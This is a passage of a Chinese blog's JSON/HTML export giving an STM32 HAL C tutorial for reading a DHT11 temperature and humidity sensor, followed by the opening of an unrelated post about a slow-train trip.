class=\"language-C\"\u003evoid DHT11_Rst(void) { DHT11_IO_OUT(); //SET OUTPUT HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_RESET); delay_ms(20); //拉低至少18ms HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_SET); delay_us(30); //主机拉高20~40us}\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"响应信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%93%8D%E5%BA%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"响应信号\"\u003e\u003c/a\u003e响应信号\u003c/h5\u003e\u003cp\u003eDHT11的 \u003cstrong\u003e响应\u003c/strong\u003e :正常的话,DHT11 会 \u003cstrong\u003e拉低\u003c/strong\u003e 数据线,保持 t3(40~50us)时间,作为响应信号,然后 DHT11 \u003cstrong\u003e拉高\u003c/strong\u003e 数据线,保持 t4(40 ~50us)时间后,开始输出数据。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-3.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e检测DHT11的回应\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回1:未检测到DHT11的存在\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回0:存在\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//SET INPUT\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11会拉低40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11拉低后会再次拉高40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"DHT11-发送数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"DHT11 发送数据\"\u003e\u003c/a\u003eDHT11 发送数据\u003c/h5\u003e\u003cp\u003e总线为低电平,说明DHT11发送响应信号,DHT11发送响应信号后,再把总线拉高80us,准备发送数据。\u003c/p\u003e\u003cp\u003e每一bit数据都以50us低电平时隙 \u003cstrong\u003e开始\u003c/strong\u003e ,\u003cstrong\u003e高电平的长短\u003c/strong\u003e 定了数据位是0还是1。\u003c/p\u003e\u003cp\u003e如果读取响应信号为高电平,则DHT11没有响应,请检查线路是否连接正常。当最后一bit数据传送完毕后,DHT11拉低总线50us,随后总线由上拉电阻拉高进入空闲状态。\u003c/p\u003e\u003ch5 id=\"DHT11-发送-0\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81-0\" class=\"headerlink\" title=\"DHT11 发送 0\"\u003e\u003c/a\u003eDHT11 发送 0\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是26-28us就表示0。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-4.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"DHT11-发送1\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%811\" class=\"headerlink\" title=\"DHT11 发送1\"\u003e\u003c/a\u003eDHT11 发送1\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是70us表示1。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-5.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"接收数据\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"接收数据\"\u003e\u003c/a\u003e接收数据\u003c/h5\u003e\u003cp\u003e主机只要读取等待50us低电平过去,然后再判断高电平长短就能收集数据了。\u003c/p\u003e\u003cp\u003e从DHT11读取一个位:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:1/0\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变为低电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变高电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待40us\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e读取8次为一个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:读到的数据\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e一共5个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//temp:温度值(范围:0~50°)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//humi:湿度值(范围:20%~90%)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回值:0,正常;1,读取失败\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Data\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Rst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//读取40位数据\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e)不过为了显示的更精确可以小数位也传过去。\u003c/p\u003e\u003ch3 id=\"完成\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%AE%8C%E6%88%90\" class=\"headerlink\" title=\"完成\"\u003e\u003c/a\u003e完成\u003c/h3\u003e\u003cp\u003e到此,完成了串口通信,OLED屏幕驱动,温湿度数据的获取。之后在OLED屏幕上的显示布局可以自己设计~ \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/54cd/#6063-x2F-6064-%E5%85%AC%E7%9B%8A%E6%85%A2%E7%81%AB%E8%BD%A6%E8%BF%90%E8%BD%AC\" class=\"headerlink\" title=\"6063/6064 公益慢火车运转\"\u003e\u003c/a\u003e6063/6064 